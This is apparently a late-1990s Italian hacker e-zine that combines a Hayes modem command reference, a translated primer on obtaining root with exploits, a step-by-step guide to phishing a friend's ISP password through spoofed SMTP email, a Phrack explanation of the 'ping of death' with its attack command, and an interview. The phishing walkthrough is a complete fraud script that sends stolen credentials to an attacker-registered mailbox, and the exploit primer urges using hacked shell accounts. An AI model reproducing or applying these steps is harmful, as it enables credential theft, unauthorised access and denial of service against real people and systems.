fosse e' possibile e' necessario accedere alle funzioni Diagnostiche per
comprendere quali sono i problemi. Tramite le opzioni Avanzate dal menu
Connessione e' possibile personalizzare le impostazioni relative all’impiego
del controllo di errore, controllo di flusso. Tramite l’apposita finestra di
dialogo Impostazioni Addizionali possono inoltre introdurre ulteriori
parametri di controllo digitando stringhe di comandi AT aggiuntive. Tramite
l’opzione Proprieta' di Comunicazione si puo' inoltre predisporre il sistema
a seconda del tipo di connessione adoperata (puo'

  
essere, come abbiamo visto
piu' sopra, a impulsi oppure a toni). Windows 95 e' inoltre corredato di un
apposito programma di comunicazione (HyperTerminal) che consente di adoperare
al meglio le opzioni di configurazione del modem caratteristiche di Windows
95. Esso e' inoltre pienamente conforme con lo standard Tapi del quale abbiamo
accennato piu' sopra. In ogni caso, gia' da tempo i programmi di comunicazione
per Dos e Windows consentono di controllare graficamente le specifiche del
modem, con possibilita' di personalizzare la configurazione dei comandi AT in
accordo con le proprie esigenze(abilitazione della compressione, della
correzione di errore, impostazione del protocollo, eccettera).

Il set di comandi Hayes

AT attenzione, usato come inizio di tutti i comandi
ATln richiesta di codice prodotto e controllo della memoria di sola lettura
A/ ripete l'ultimo comando [senza AT o Invio]
A risposta senza attesa del segnale di chiamata
Bn modo Bell [compatibilita' con il protocollo a 1200 bps]
Cn stato della partante (0 = off) [1 = on]
Dn compone un numero telefonico
Comandi speciali di chiamata
P chiamata a impulsi
R modo inverso usa le frequenze di risposta quando si origina una chiamata
S chiama il numero memorizzato
T chiamata a toni (touch tone)
W aspetta una seconda chiamata o il tono di accesso
@ fa attendere un certo numero di squilli prima di processare il prossimo
comando (per accedere a sistemi che non hanno il tono di chiamata)
, pausa
! flash [riattacca per mezzo secondo)
; ritorna al modo comando dopo aver effettuato la chiamata
En comandi di eco del modem [0 = no) (1 = si)
Fn funzionamento full-duplex o half-duplex
Hn hook [gancio) [0 = off line) (1 = on line) [2 = telefono e modem entrambi
on line)
Ln intensita' sonora dell’altoparlante
Mn modalita' di funzionamento dell’altoparlante
On stato on line
Qn comando di quiete per codici di risultato.
Sn=x comando dei registri S [n = numero del registro S) [x = valore da porre
nello specifico registro).
Sn? visualizza il valore del registro S numero n.
Vn modo verboso per i codici di risultato.
Xn abilita codice esteso di risultato.
Yn disconnessione dopo un lungo silenzio.
Z preleva il profilo di configurazione preimpostato dalla memoria non
volatile.
&Cn gestione della rilevazione della portante.
&Dn gestione del segnale di terminale pronto.
&F preleva profilo di configurazione impostato dal fabbricante nella Rom.
&Gn selezione del tono di guardia.
&Jn selezione del tipo di connettore telefonico.
&Ln selezione linea dedicata o commutata
&Mn selezione del modo Asincrono/Sincrono
&Pn selezione della lunghezza d’impulso
&Rn gestione dei segnali di richiesta di Invio (Rts) e di Pronto a
Trasmettere [Rts] e di Pronto a Trasmettere (Cts)
&Sn gestione del segnale Modem Pronto (Dsr)
&Tn modo test
&W scrive in memoria il profilo di configurazione attivo
&Xn seleziona la sorgente del clock di trasmissione sinarona [soltanto in
modo sincrono]
&Zn memorizza il numero di telefono n

I codici Hayes di risposta

0 ok comando eseguito senza errori
1 connessione stabilita
2 la postazione dell’utente chiamato risulta attiva, ma non risponde
3 non c’e' linea
4 errore nella linea di comando o linea troppo lunga
5 connesso a 1200
6 non c’e' linea
7 occupato
8 nessuna risposta
10 connessione stabilita ad una certa velocita'

Il comando Atxn

atx1 visualizza soltanto informazioni relative alla qualita' della connessione
(Ok, Connect, Ring - il telefono remoto suona a vuoto, non vi e' riposta
del modem -, No Carrier - non vi e' connessione dopo la risposta, o si e'
interrotta la comunicazione - ed Error
atx2 visualizza le medesime impostazioni di atx1, ma in piu' segnala la
velocita' di apertura della porta
atx3 visualizza invece anche l’eventuale segnale di accupato, l’eventuale
mancanza di segnale sulla linea telefonica e la mancata risposta da
remoto.
atx4 riporta invece tutti i parametri di atx3, compresa la rilevazione della
mancanza di segnale di linea
atx5 segnala invece tutti i parametri di atx4, piu' la velocita' di apertura
della porta, il protocollo negoziato dai due modem al momento del
collegamento [per esempio V.32bis], la velocita' a cui corrisponde il
protocollo di connessione (V.32bis indica una connessione a 14.400 bps)
ed il tipo di controllo di errore adoperato [per esempio V.42bis]
atx6 indica i parametri di atx4, piu' la velocita' corrispondente al protocollo
di connessione negoziato dai due modem quindi per una connessione
avvenuta in v.34 verra' indicato 28800) ed una generica indicazione
relativa al controllo di errore (ARQ)
atx7 visualizza i medesimi parametn di atx6, ad eccezione dell'indicazione del
controllo di errore, che sara' piu' specifica, con identificazione del
protocollo

Gli standard V per la trasmissione dei dati

Definititi da ITU-TSS [Internation Telecommunications Union -Telecommunications
Standards Sector], ex CCITT [Comite' Consultatif International Te'le'phonique et
Te'le'graphique), l'organismo a livello internazionale che cura l’organizzazione
delle telecomunicazioni, gli standard V definiscono la velocita' di trasferimen
to via linee telefoniche.

Standard
Bell 103
V.21
V.22
V.22bis
V.23
V. 26bis
V.27bis
V.29
V.32
V.32bis
V.34
V.34+*

Velocita' espressa in bit per secondo

300
300
1200
2400
600 / 75 e 1200 / 75
2400
4800
9600
9600
14400
28800
33600

Legenda: *- protocollo proprietario US Robotics, omologato nell'ottobre 96
come semplice estensione del V.34.

Gli standard V per la gestione dei fax

Il protocollo ITU-T T.30 definisce le procedure per la connessione dei fax di
classe G3. Il modem adopera le specifiche di questo protocollo per
inizializzare e terminare una chiamata fax, gestire la sessione di
comunicazione e trasferire l’immagine grafica del fax. Questi sono invece gli
standard che delimitano le varie velocita' possibili:

Standard
V.17
V.21
V.27ter
V.29

Velocita' espressa in bit per secondo 14.400
14.400
canale 2 (300 bps)
2400/4800
7200/9600

Realizzazione Html a cura di Armando Mancini & Loredana Gallea
Adattamento Txt by N0bodY88
Copyright © 1997 Ghost Computer Club

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°ÛÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛ°°°°°°°°°°°ÛÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛÛÛÛÛÛ°ÛÛ°ÛÛÛÛÛÛ°ÛÛ°°°ÛÛ°ÛÛ°°°²
²°°°°°ÛÛÛ°°°°ÛÛ²²²ÛÛ°°°°ÛÛÛ°°°°Û²ÛÛ°°ÛÛ°°ÛÛ°°°°°°ÛÛÛ°°ÛÛ°ÛÛ²²ÛÛ°ÛÛÛ°°ÛÛ°°°°°°²
²°°°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛ°°°ÛÛ²ÛÛ°°°Û²²ÛÛ°ÛÛ°°ÛÛ°°°°ÛÛÛ°°°°ÛÛ°ÛÛ²²ÛÛ°ÛÛÛÛ°ÛÛ°ÛÛ°°°²
²°°°°°ÛÛÛ°°°°ÛÛ°°Û°°°°ÛÛÛÛÛÛÛ°°Û²ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°°°°°ÛÛ°ÛÛ²²ÛÛ°ÛÛ°ÛÛÛÛ°ÛÛ°°°²
²°°°°°ÛÛÛ°°°°ÛÛ°°ÛÛÛ°ÛÛ°°°°°ÛÛ°ÛÛÛ°°°ÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛÛ°ÛÛ°ÛÛÛÛÛÛ°ÛÛ°°ÛÛÛ°ÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

WWWWW WWWWW W WWWW W W WWWWW W WWWWW W W W
W W W W W W W W W W W W W WW W W
W WWWW WWWWW W W W W W W W W W W W W
W W W W W W W W W W W W W W WW W
W W W W W WWWW WWWWW WWWWW W WWWWW W W W

(...ovvero come dis-imparare l'inglese con WURZ)

Salve ragazzi, mi presento: sono Wurz.
Qualche tempo fa, girovagando qua e la' in rete, ho notato che,
nonostante l'abbondanza di testi, manuali, faq varie, un sacco di gente
non ne approfitta.
E questo perche'?
Semplice, sono in INGLESE!!!
E allora mi sono detto: 'beh, perche' non dare un piccolo aiuto,
traducendo un po' di informazioni di chi non ha la fortuna di conoscere
l'italiano?'. :-)
Ho quindi contattato N0body88 e ZeroCool offrendomi come traduttore.
Non l'avessi mai fatto: quei due marpioni ne hanno approfittato e mi
hanno scaricato qualche Terabyte di .txt da tradurre!!! ;-)))
Comunque mi sono messo d'impegno e i risultati li vedete su queste
pagine: spero che i 'puristi' non si lamentino, ma e' il meglio che
posso fare (ed e' sempre meglio di niente).
Non mi ritengo assolutamente un Newbie: in effetti il vero Newbie e'
qualche centinaio di gradini al di sopra di me.
Con la mia opera spero solo di poter contribuire a far capire un
qualcosa di piu' a chi ne ha bisogno.
E prima di finire, un semplice appunto: nel caso (probabile) che abbia
commesso degli errori, fatemelo sapere, cosi' magari in un numero
successivo potro' fare degli errata corrige.
Il mio indirizzo e': wurzel@freemail.it

Ciao a tutti
Wurz

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ EXPLOITS ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Originale di Miah
Tradotto da WURZ

--- Exploits ---

Molta gente mi domanda degli exploits, cosa sono, cosa fanno, e come
usarli. Bene, sto scrivendo questo documento con la speranza di
spiegarlo per l'ultima volta. Mi sto cominciando a seccare di spiegarlo
ogni volta che sono su irc, cosi' ho pensato ci debba essere un testo di
spiegazioni. Bene, eccolo qui.

- miah


--- Cos'e' un 'exploit'? ---

In poche parole, un exploit e' un programma che sfrutta [WURZ says:
to exploit = sfruttare] un bug in un software specifico. Tutti gli
exploits sono differenti, fanno cose differenti su bugs differenti,
ecco perche' gli exploits sono sempre specifici ad ogni programma. Gli
exploits sono fatti per avere accesso alla root di diversi sistemi
operativi. Raggiungono questo risultato sfruttando un bug nel software
quando il software sta operando come root. Nei sistemi operativi tipo
Unix, il software puo' dover operare come root (o UID 0) per eseguire
un compito specifico che non puo' essere eseguito da un altro utente.
Cosi' in pratica l'exploit fa un crash del software in uso come root
per darti il bellissimo prompt root.

Bene, ora che ho risposto alle domande uno e due, andiamo alla
domanda tre.


--- Come posso usare un exploit? ---

Poiche' nel 99% dei casi gli exploits sono codificati in C, hai bisogno
di una shell nel box su cui stai per usare l'exploit, oppure hai
bisogno di usare lo stesso sistema operativo del box che stai provando
a hackare. In pratica hai bisogno di mettere il codice sorgente o il
binario nella dir del tuo shell account (per fare questo ne userai una
hackata o una shell non tua :-)); per metterlo nella tua shell puoi
fare un ftp sul tuo account e uploadarlo in questo modo, oppure puoi
usare rz se stai usando una shell dialup. D'altro canto non dovrei
spiegare troppo certe cose, e' proprio facile.

Una volta che hai l'exploit nel box, hai solo bisogno di compilarlo. Di
solito lo compilerai usando
blah:~/$gcc exploit.c
che dovrebbe compilare il tuo exploit. In ogni modo stai attento che
certi codificatori d'exploit sono truffaldini, e gli piace la gente
che non conosce il C, cosi' qualche volta inseriscono dei bugs
nell'exploit, non abilitandolo alla compilazione. Cosi' aiuta sapere il
C, quando si gioca con il C :-).

Dopo aver effettuato la compilazione, dovresti essere capace a far
funzionare l'exploit e il suo lavoro sara' fatto quando vedrai il prompt
di root. In ogni modo non tutti gli exploits sono uguali, e potrebbero
richiedere diverse linee di comando per funzionare.


--- Dove posso avere degli exploits? ---

Due dei posti migliori in cui ho trovato degli exploits sono
http://get.your.exploits.com
e
http://www.rootshell.com
sono entrambi grandi risorse di exploits e di altre informazioni.


--- Conclusione ---

Bene, questo spiega bene tutto cio' di cui hai bisogno di sapere sugli
exploits. Se pensi che debba includere qualsiasi altra informazione
fammi una mail al seguente indirizzo :
miah@hackersclub.com

(R)1999, WURZ


ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME AVERE LA PASSWORD ISP DEL TUO AMICO/NEMICO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Come avere la password ISP del tuo amico/nemico?
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

E cosi' vuoi cominciare a risparmiare un po' di denaro, eh?
E... non vuoi pagare l'ISP, eh?
-K-! [WURZ says: in gergo trasmissioni, "K" indica "Ricevuto"]
Prova questo:

Disclaimer:
Questo testo e/o qualsiasi altra cosa di questo documento e' stata fatta
con solo scopo informativo! La responsabilita' dell'utilizzo e' del solo
lettore! L'autore (E IL TRADUTTORE) di questo documento non sono
responsabili di qualsiasi cosa venga fatta con queste informazioni!

Ora che abbiamo finito, cominciamo!

1)Esegui il tuo programma telnet:
- su Windows, vai in menu' AVVIO -> ESEGUI -> TELNET.
- su Linux, devi aprire una shell, e scrivere telnet.

2)Quindi connettiti (su Windows "connect", su Linux "open") a qualche
server anonimo, se non ne hai cercane uno, se sei troppo lamer allora
mandami un'e-mail immediatamente! Te ne daro' uno in un minuto!
Nota: dovresti connetterti al Server Mail Program (porta 25)!

3)Ora, scrivi quanto segue:
mail from:[**WEBMASTER DEL TUO AMICO**]
rcpt to:[**INDIRIZZO E-MAIL DEL TUO AMICO**]
data
Salve [**NOME DEL TUO AMICO**], questo e' il team di supporto
del [**NOME DELL'ISP DEL TUO AMICO**]; ultimamente il nostro server ha
avuto dei problemi con la connessione, i files user-password sono stati
distrutti, e' stato quindi usato il backup ed era tutto ok.
Ma ieri abbiamo scoperto che non e' una versione aggiornata del file,
cosi' ti saranno addebitati molti piu' soldi ogni volta che lo usi!
Per ovviare al problema, abbiamo creato un programma speciale per
correggere l'errore; tutto quello che TU devi fare e' spedire un'e-mail
a: "[**NOME DELL'ISP DEL TUO AMICO**]@GalaxyCorp.com" e nel subject
scrivi il tuo user name e la tua password. Nota: se non verranno
seguite queste istruzioni nulla sara' rimborsato.
Grazie,
il support team!

4)Premi enter due volte e quindi scrivi "." (senza "") e premi enter!
Ora, dove hai visto ** vuol dire che forse non hai capito del tutto,
cosi' ti daro' un semplice esempio ;-).

[**WEBMASTER DEL TUO AMICO**] - per esempio, se il tuo amico e' connesso
tramite AOL, allora digita "webmaster@aol.com", capito?

[**INDIRIZZO E-MAIL DEL TUO AMICO**] - per esempio, se l'indirizzo
e-mail del tuo amico e' john@aol.com, allora digita "john@aol.com".

[**NOME DEL TUO AMICO**] - se il tuo amico si chiama "John", allora
digita "John".

[**NOME DELL'ISP DEL TUO AMICO**] - se il tuo amico e' connesso tramite
AOL (America On Line), allora digita "America On Line".

[**NOME DELL'ISP DEL TUO AMICO**]@GalaxyCorp.com - questa e' la parte
difficile, ma se stai leggendo questo, allora non preoccuparti, sei ad
un passo dalla fine! ;-)..

* lancia il tuo browser (Explorer/Netscape), e digita
"Http://www.galaxycorp.com".

* segnati per un account e, quando ti chiedono quale username
vuoi, allora prova la cosa piu' vicina al nome dell'ISP del tuo amico
(per esempio, se il tuo amico e' connesso tramite AOL (America On
Line) allora prova "aol" o "a o l" o "america_on_line"!)

* e quando ti chiedono la tua e-mail, digita la tua Vera!!!

Ora continua la tua vita normale, e ricorda di leggere la tua e-mail!!
Se improvvisamente ricevi un messaggio dall'indirizzo e-mail del tuo
amico, e il subject e' "john j4o87HnzG" allora, indovina un po', hai
appena risparmiato 10$ al mese!

F-o-X
Contact information:
Email - FoXeS@ThePentagoN.CoM
WWW - WWW.FoReSt.CC (under construction)


ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ LARGE PACKET ATTACKS (ALIAS PING DELLA MORTE) ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Tradotto da WURZ

[ Introduzione ]

Recentemente, Internet ha visto una grande crescita degli attacchi
Denial of Service [WURZ says: negazione di servizio]. Un attacco D.o.S.
in questo caso e' semplicemente un'azione di un certo tipo che previene
il normale funzionamento della rete. Nega il servizio. Questa tendenza
e' cominciata qualche mese addietro con il flooding TCP SYN e continua
con il "large packet attack" [WURZ says: attacco con grossi pacchetti].
A confronto con il flooding SYN, il l.p.a. e' un attacco molto piu'
semplice sia come concetto (spiegato sotto) che come esecuzione
(l'attacco puo' essere portato da chiunque abbia accesso ad una macchina
con Windows 95). Il flooding TCP SYN e' di natura piu' complessa e non
sfrutta i difetti quanto la debolezza della perfezione.

L'l.p.a. e' pure piu' devastante che il flooding TCP SYN. Puo'
semplicemente causare un crash della macchina, dove il flooding SYN puo'
negare ad una macchina l'accesso alla posta o ai servizi web solo per
la durata dell'attacco. Per maggiori informazioni sul flooding TCP SYN
vedi Phrack 49, articolo 13. (NOTA: l'l.p.a. e' erroneamente chiamato
"Ping della Morte" perche' e' spesso rilasciato come pacchetto Ping.
Ping e' un programma che e' usato per testare la raggiungibilita' di una
macchina per vedere se e' viva e se accetta richieste di rete. Ping e'
pure un modo conveniente per mandare i grossi pacchetti all'obiettivo).

L'l.p.a. ha causato infiniti problemi ad innumerevoli macchine
attraverso Internet. Dalla sua scoperta, *dozzine* di sistemi operativi
si sono rivelati vulnerabili, assieme a molti routers, servers,
X-terminal, stampanti, ecc.. Qualsiasi cosa con uno stack TCP/IP e'
infatti potenzialmente vulnerabile. Gli effetti dell'attacco variano da
lievi a devastanti. Molte macchine vulnerabili sospenderanno l'attivita'
per un periodo di tempo relativamente breve e poi si ristabiliscono,
altre la sospendono indefinitamente, altre disalimenteranno il nucleo
(scrivendo un grosso file di contenuti della memoria corrente, spesso
seguito da un crash), molte perdono tutta la connetivita' di rete, altre
fanno un reboot o semplicemente si bloccano.


[ Fondamenti IP del caso ]

Al contrario della credenza popolare, il problema non ha niente a che
fare con il programma "ping". Il problema e' nel modulo IP. Piu'
specificatamente, il problema e' nella porzione
frammentazione/riassemblaggio del modulo IP. Questa e' la parte del
protocollo IP in cui i pacchetti vengono divisi in pezzi piu' piccoli
per il transito, e pure dove sono riassemblati per l'elaborazione. Un
pacchetto IP ha una dimensione massima vincolata da un campo header a
16 bit (un header e' una porzione di un pacchetto che contiene
informazioni sul pacchetto, incluso da dove viene e dove sta andando).
La dimensione massima di un pacchetto IP e' di 65.535 (2^16-1) bytes.
Lo stesso header IP e' di solito grande 20 bytes, cosi' ci rimangono
65.515 bytes in cui metterci i nostri dati. Il sottostante link layer
(il link layer e' il sotto IP logico della rete, spesso ethernet) puo'
raramente maneggiare pacchetti cosi' grossi (ethernet, per esempio, puo'
adoperare solo pacchetti di grandezza fino a 1500 bytes). Cosi', per
fare in modo che il link layer sia capace di smaltire un grosso
pacchetto, il modulo IP deve frammentare (rompere in piccoli pezzi)
ogni pacchetto che invia al link layer per la trasmissione sulla rete.
Ogni singolo frammento e' una porzione del pacchetto originale, con il
proprio header contenente informazioni su esattamente come la parte
ricevente debba rimetterlo insieme. Quando la parte ricevente ha tutti
i frammenti, li riassembla nel pacchetto IP originario, e quindi lo
elabora.


[ L'attacco ]

L'l.p.a. e' concettualmente molto semplice. Un utente malizioso
costruisce un pacchetto grosso e lo spedisce. Se l'host destinatario e'
vulnerabile, accade qualcosa di cattivo (vedi sopra). Il problema e' nel
riassemblaggio di questi pacchetti. Ricordiamo che abbiamo 65.515 bytes
di spazio da imbottire di dati. Come capita, qualche applicazione
birichina (e altre maligne specificatamente create) permetteranno a
qualcuno di mettere un po' di dati in piu' (diciamo 65.520 bytes).
Questo, assieme all'header IP di 20 bytes, viola la grandezza massima
del pacchetto che e' di 65.535 bytes. Il modulo IP semblicemente rompera'
questo pacchetto sovradimensionato in frammenti li spedira' al loro
destinatario (bersaglio). L'host ricevente accodera' tutti i i frammenti
fino all'arrivo dell'ultimo, quindi comincera' il processo di
riassemblaggio. Il problema emergera' quando il modulo IP scoprira' che
il pacchetto e' nei fatti piu' grande della dimensione massima ammessa e
come un buffer interno andra' in overflow. Questo e' dove succede
qualcosa di cattivo (vedi sopra).


[ Test di vulnerabilita' e patch ]

Effettuare un test per vedere se un meccanismo di rete e' vulnerabile e'
abbastanza facile. Windows NT e Windows 95 permettono la costruzione di
questi pacchetti sovradimensionati senza problemi. Basta digitare:
'ping -l 65508 targethost'. In questo caso, stiamo rilasciando un
pacchetto IP sovradimensionato all'interno di un pacchetto di ping,
che ha la dimensione dell'header di 8 bytes. Se fai la somma, 20 bytes
di header IP + 8 bytes di header ping + 65.508 bytes di dati, otterrai
un pacchetto IP di 65.536 bytes. Questo e' abbastanza per causare
problemi ai sistemi vulnerabili.

La difesa e' preventiva. Il solo modo per essere realmente sicuri da
questo attacco e' quello diassicurarsi che il proprio sistema sia
patchato, o staccare la sua spina dalla rete. Ci sono patches per
quasi ogni sistema vulnerabile. Per una lista copiosa di sistemi
vulnerabili e di patches, cerca una webpage 'Ping of Death' nelle
vicinanze.

daemon9
Editor, Phrack Magazine
(daemon9@netcom.com)

(R)1999, WURZ

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°ÛÛ°ÛÛ°°°°ÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛÛÛ°ÛÛ°°°°°°°ÛÛ°ÛÛ°ÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛ°²
²°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ²²²ÛÛ°°ÛÛ°°°°°ÛÛ°°ÛÛ°ÛÛ°°°°°°°°°ÛÛ°°°°ÛÛ°°°°°°²
²°ÛÛ°ÛÛ°ÛÛ°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛ°ÛÛÛÛÛÛÛ°°°ÛÛ°°°ÛÛ°°°ÛÛ°ÛÛÛÛÛÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛ°°°²
²°ÛÛ°ÛÛ°°ÛÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°ÛÛ°°°°°°ÛÛ°ÛÛ°°°°ÛÛ°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°²
²°ÛÛ°ÛÛ°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛ°ÛÛ°°ÛÛÛ°°°°°ÛÛÛ°°°°°ÛÛ°ÛÛÛÛÛÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍ»
ÌÍÍ͹ INTERVISTA A UN HACKER - REDATTORE DI E-ZINE ÌÍÍ͹
ÈÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍͼ


N0bodY88: Ciao se ti va cominciamo va bene?
ChRoMe: Ummhhh..se siamo qui' dovremmo pure cominciare...prima o poi
N0bodY88: Direi di cominciare dalla solita e sempre apprezzata domanda quando
hai iniziato?
ChRoMe: E chi se lo ricorda,hihhihihi,apprte gli scherzi...in tenera eta',dopo
i 17 anni cominciai piu' come cracker che come altro.
Poi vennero le BBS...Internet era roba per eletti, poi l'avvento di
itapac..e di li in poi e' storia
N0bodY88: Quali e quanti computer hai avuto fino ad oggi?
ChRoMe: Bhe'..su quanti, sinceramente non ricordo, su quali tutti quelli che
conosci, e forse anche qualcuno di cui ignori l'esistenza
Ma il vero inizio e' stato con i pc....prima con amiga e 64 erano piu'
cose da ragazzi
N0bodY88: Di che gruppo/i hai fatto parte e fai parte tuttora?
ChRoMe: Non sono mai stato un vero animale da branco, all'inizi collaboravo
per lo piu' con gruppi di Crakers, stranieri, adesso sono SPP, perche'
mi trovo bene con i ragazzi, gente simpatika e preparata
N0bodY88: Io so che tu sei il redattore di una e-zine molto conosciuta, e a
proposito di essa volevo chiederti...come mai tu e il tuo gruppo
avete deciso di farla?
ChRoMe: Redattore e' una parola grossa, metto solo insieme del materiale che
gli altri mi mandano, e quando ho tempo scrivo qualche cazzata...
l'idea mi balenava nella testa,un giorno ne ho parlato con Brigante,
e ho visto il suo interesse ,allora ho parlato con RIg e gli altri e
siamo partiti.
N0bodY88: E' stata un idea di qualcuno o un bisogno comune emerso?
ChRoMe: Come dico sopra...l'idea era nell'aria, noi siamo per condividere
tutto (apparte le risorse..hehehehe) e visto la qualita' dei
collaboratori e la voglia dei lettori di seguire il progetto...siamo
andati avanti
N0bodY88: Che ne pensi della scena italiana di hacker, newbies e affini?
ChRoMe: MmmHHH...molta gente brava,tanti giovani che emergono,ma il tutto poko
organizzato, siamo sempre una razza di cani sciolti,se ci fosse un po'
piu' di cooperazione, si lavorerebbe con piu' stimoli, devo dire che
noi stiamo facendo del nostro meglio per fare accadere cio'...stiamo
cercando di unire le persone in progetti comuni,ma non e' cosa da due
giorni,ce' ancora diffidenza,la gente si tiene per se' le sue conoscenze.
N0bodY88: Mi hanno raccontato ma non so se e' vero che una volta hai avuto
problemi con il programma Moglie 1.0.0 ma che e' bastato installare
Amante 1.0.beta e nasconderlo dentro la cartella di windowz x non
farlo scoprire a Moglie1...tu cosa fai confermi o neghi tutto? E'
vero che hai fatto l'upgrade da Amante 1.0.beta a Amante 1.0.1
detta anke versione "Porca"?
ChRoMe: Makke' ho crakkato il tutto altro che Upgrade...HIHIHIHIHIHIH
N0bodY88: Cosa ne pensi del sito de Il Timone?
ChRoMe: Sono nella taskforce...hehehehehehe
Che ne devo pensare...lo hai letto...io l'ho letto...trai tu le
conclusioni :)
N0bodY88: Cosa pensi sia utile x chi vuole iniziare e diventare...come te?
ChRoMe: AHAHAHAHAHAHAHAHA dici bello biondo alto e con gli okki azzurri?...
una sana alimentazione. Apparte le cazzate,tutti possonno diventare
tutto, basta avere voglia di imparare, leggere, studiare, e provare,
provare fino alla noia, documentarsi su le cose che si vogliono fare,
e poi provare in luoghi sicuri, fino che non si e' in grado di
trasportre le proprie procedure sulla net, avere sempre cura di non
lasciare stupide tracce, non fare danni..quelli non danno nessun
gusto.....avere un po' di buon senso, essere umili, cercare di fare
poke domande, e quelle che si fanno, devono essere intelligenti,
altrimenti...la gente non ti rispondera' mai.
